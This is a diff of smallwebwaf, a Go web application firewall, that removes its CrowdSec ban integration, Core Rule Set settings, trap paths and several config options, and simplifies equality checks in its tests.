@@ -386,19 +334,9 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with
// notes.
func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID
}
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -636,14 +574,11 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
}
// ban bans netblock at now for cause, with reason and notes, as
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
// ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
// BanForLimit and BanForAttack describe, and returns the ban, and whether
// it made it. Unless keep is true, the ban is not made, only returned: it
// is the ban that would have been made.
func (l *Ledger) ban(
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
keep bool,
netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool,
) (Ban, bool) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -665,13 +600,10 @@ func (l *Ledger) ban(
notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
switch cause {
case CauseAttack:
if cause == CauseAttack {
ban.Expires = l.attackExpiry(held, now)
case CauseLimit:
} else {
ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
}
if !keep {
@@ -700,8 +632,6 @@ func earlierBans(held []Ban) EarlierBans {
earlier.Attack++
case CauseAdmin:
earlier.Admin++
case CauseCrowdSec:
earlier.CrowdSec++
}
}
@@ -795,16 +725,16 @@ func (l *Ledger) add(ban Ban) {
// limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
// new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all.
// sign of attack or a lifted one, can make the new ban longer. A ban an
// admin adds to bans.json can start after another and end before it, so
// that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.rules.LimitBanDuration
var last *Ban
for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
if ban.Cause != CauseAttack && ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) {
last = &held[i]
}
internal/bans/bans_test.go
+7 -8
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"strings"
"testing"
"time"
@@ -131,13 +130,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
if made || again != first || len(ledger.Bans(netblock)) != 1 {
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
}
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) {
if made || again != first {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
again, made, first)
}
@@ -183,7 +182,7 @@ func TestFindCountsNothing(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
if !banned || !reflect.DeepEqual(got, ban) {
if !banned || got != ban {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
}
@@ -192,7 +191,7 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end")
}
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes {
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
}
}
@@ -248,7 +247,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
held := ledger.Bans(netblock)
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
if len(held) != 1 || held[0] != second ||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the ledger holds %+v, want only the second ban, "+
"with 1 earlier ban for a limit", held)
@@ -343,7 +342,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
if would || !reflect.DeepEqual(during, first) {
if would || during != first {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
would, during, first)
}
@@ -372,7 +371,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// The ban made is the one that would have been.
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
if !reflect.DeepEqual(made, limit) {
if made != limit {
t.Errorf("the ban made is %+v, want %+v", made, limit)
}
}
internal/bans/crowdsec_test.go
-90
View File
@@ -1,90 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
scenario, bans.Notes{})
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan, ledger.Bans(netblock))
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
bans.Notes{})
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s", made, ban, would, expires)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was", banned, held, madePermanent)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
scenario, bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit)
}
}
internal/bans/snapshot_test.go
+2 -3
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"slices"
"strings"
"testing"
@@ -225,7 +224,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
if len(held) != 1 || held[0] != later {
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
}
}
@@ -268,7 +267,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
bans.Notes{})
want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
if got := ledger.Snapshot(); !slices.Equal(got, want) {
t.Errorf("the ledger holds %+v, want %+v", got, want)
}
}
internal/config/config.go
+7 -284
View File
@@ -42,18 +42,12 @@ type Config struct {
InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit, a rule or the Core Rule Set would refuse is
// passed to the app instead, and no ban is made.
// lists, a rate limit or a rule would refuse is passed to the app
// instead, and no ban is made.
Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
// (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128.
IPv6GroupPrefix int
// MaxTrackedClients is the most clients the table of clients holds, in
// memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS).
MaxTrackedClients int
// ClientRequestTimeout bounds reading the whole request from the
// client (SWWAF_CLIENT_REQUEST_TIMEOUT).
ClientRequestTimeout time.Duration
@@ -181,13 +175,6 @@ type Config struct {
ReputationLimitPercent int64
ReputationCacheTTL time.Duration
ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer
// (SWWAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -222,9 +209,6 @@ type Config struct {
// LogRequestHeaders are the request headers whose values the request
// log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS).
LogRequestHeaders []string
// LogLevel is the least severe of the process's own messages that are
// written (SWWAF_LOG_LEVEL). It holds back no request log line.
LogLevel slog.Level
// AdminToken is the bearer token an admin sends for the ban endpoints
// and /_smallwebwaf/clients/<ip> (SWWAF_ADMIN_TOKEN), "" while it is
// unset and they are off.
@@ -239,29 +223,6 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that smallwebwaf may refuse after a rule file or Core Rule Set match
// or for a missing or wrong token; one more breaks a limit
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -325,16 +286,6 @@ type Config struct {
// off.
const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file"
@@ -346,20 +297,8 @@ const (
gibibyte = 1 << 30
ipv4Bits = 32
ipv6Bits = 128
// minIPv6GroupPrefix is the shortest SWWAF_IPV6_GROUP_PREFIX, the
// netblock a provider is usually given: a shorter one would make one
// client of the customers of several providers.
minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have.
minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of
// a secret in another setting.
masked = "********"
@@ -398,7 +337,6 @@ var (
errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errOver1G = errors.New("is more than 1G, the most Coraza reads")
errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New(
@@ -408,9 +346,6 @@ var (
"is not the length of an IPv4 netblock, from 0 to 32, such as 24")
errNotV6Prefix = errors.New(
"is not the length of an IPv6 netblock, from 0 to 128, such as 48")
errNotIPv6GroupPrefix = errors.New(
"is not the length of an IPv6 netblock, from 32 to 128, such as 64")
errNotLogLevel = errors.New("is not debug, info, warn or error")
errNotNamedNetblock = errors.New(
"is not a name, = and a netblock, such as office=203.0.113.0/24")
errNotAbsolutePath = errors.New(
@@ -420,15 +355,6 @@ var (
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -468,13 +394,6 @@ var (
"names IPv6 clients are asked about by")
errNotResolver = errors.New("is not an IP address with an optional port, " +
"such as 192.0.2.53 or [2001:db8::53]:5353")
errNotLAPIURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080")
errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
errAnotherList = errors.New(
"is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too")
)
// FromEnvironment reads the settings with lookupEnv, normally
@@ -492,8 +411,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
InstanceName: env.instanceName(),
Observe: env.observe("SWWAF_MODE", "enforce"),
TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges),
IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"),
MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"),
ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"),
ClientRequestHeaderMaxBytes: env.headerSize(
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"),
@@ -536,8 +453,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"),
ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"),
ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"),
CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"),
LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
@@ -550,21 +465,11 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -599,7 +504,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
env.checkLookupDBPath(cfg)
env.checkCountriesAndLookups(cfg)
env.checkASNLimitPercentURL(cfg)
env.checkCrowdSec(cfg)
if env.err != nil {
return nil, env.err
@@ -768,15 +672,6 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
}
// headerSize reads the setting that is the largest request line and
// headers.
func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -813,48 +708,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue))
@@ -963,26 +816,6 @@ func (e *environment) resolver(name string) netip.AddrPort {
return resolver
}
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
// its decision list is fetched from, that URL with v1/decisions added to
// its path, "" while it is unset or empty.
func (e *environment) crowdSecDecisionsURL(name string) string {
value := e.value(name, "")
if value == "" {
return ""
}
lapi, err := url.Parse(value)
if err != nil || !isHTTPURL(lapi) {
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
return ""
}
return lapi.JoinPath("v1", "decisions").String()
}
// lookupSource reads the setting that is where clients are looked up:
// geojs, file, or off.
func (e *environment) lookupSource(name, defaultValue string) string {
@@ -1060,26 +893,6 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
}
}
// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without
// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList))
}
}
// headerNames reads a setting that is a list of header names, and
// returns them in lower case.
func (e *environment) headerNames(name, defaultValue string) []string {
@@ -1131,37 +944,6 @@ func (e *environment) v6Prefix(name, defaultValue string) int {
return length
}
// ipv6GroupPrefix reads the setting that is the length of the IPv6
// netblock that is one client, from minIPv6GroupPrefix to 128.
func (e *environment) ipv6GroupPrefix(name, defaultValue string) int {
value := e.value(name, defaultValue)
length, err := strconv.Atoi(value)
if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits {
e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix))
}
return length
}
// logLevel reads the setting that is the least severe of the process's
// own messages that are written: debug, info, warn or error.
func (e *environment) logLevel(name, defaultValue string) slog.Level {
value := e.value(name, defaultValue)
level, known := map[string]slog.Level{
"debug": slog.LevelDebug,
"info": slog.LevelInfo,
"warn": slog.LevelWarn,
"error": slog.LevelError,
}[value]
if !known {
e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel))
}
return level
}
// thresholds reads the four anomaly thresholds whose settings' names
// start with prefix: requests and bytes per minute and per hour. Each is
// off by default.
@@ -1445,22 +1227,6 @@ func parseHeaderSize(value string) (int64, error) {
return size, nil
}
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 1G, since
// Coraza, which runs the Core Rule Set, refuses to load with more.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
}
if limit > gibibyte {
return 0, fmt.Errorf("%q %w", value, errOver1G)
}
return limit, nil
}
// splitUnit splits a size into its number and the bytes its suffix
// stands for.
func splitUnit(value string) (string, int64) {
@@ -1663,49 +1429,6 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil
}
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / or holds a ? would never match.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones
internal/config/config_test.go
-382
View File
@@ -27,8 +27,6 @@ const (
upstreamURL = "SWWAF_UPSTREAM_URL"
mode = "SWWAF_MODE"
trustedProxies = "SWWAF_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT"
clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT"
@@ -71,8 +69,6 @@ const (
reputationAction = "SWWAF_REPUTATION_ACTION"
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
banResponse = "SWWAF_BAN_RESPONSE"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
@@ -88,17 +84,8 @@ const (
metricsTopN = "SWWAF_METRICS_TOP_N"
instanceName = "SWWAF_INSTANCE_NAME"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
@@ -176,9 +163,6 @@ const (
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range"
@@ -415,57 +399,6 @@ func TestValuesAsSet(t *testing.T) {
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
}
func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
prefix, clients int
level slog.Level
}{
{environment{}, 64, 20000, slog.LevelInfo},
{
environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"},
48, 500, slog.LevelWarn,
},
} {
cfg := fromEnvironment(t, tc.env)
if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients ||
cfg.LogLevel != tc.level {
t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env,
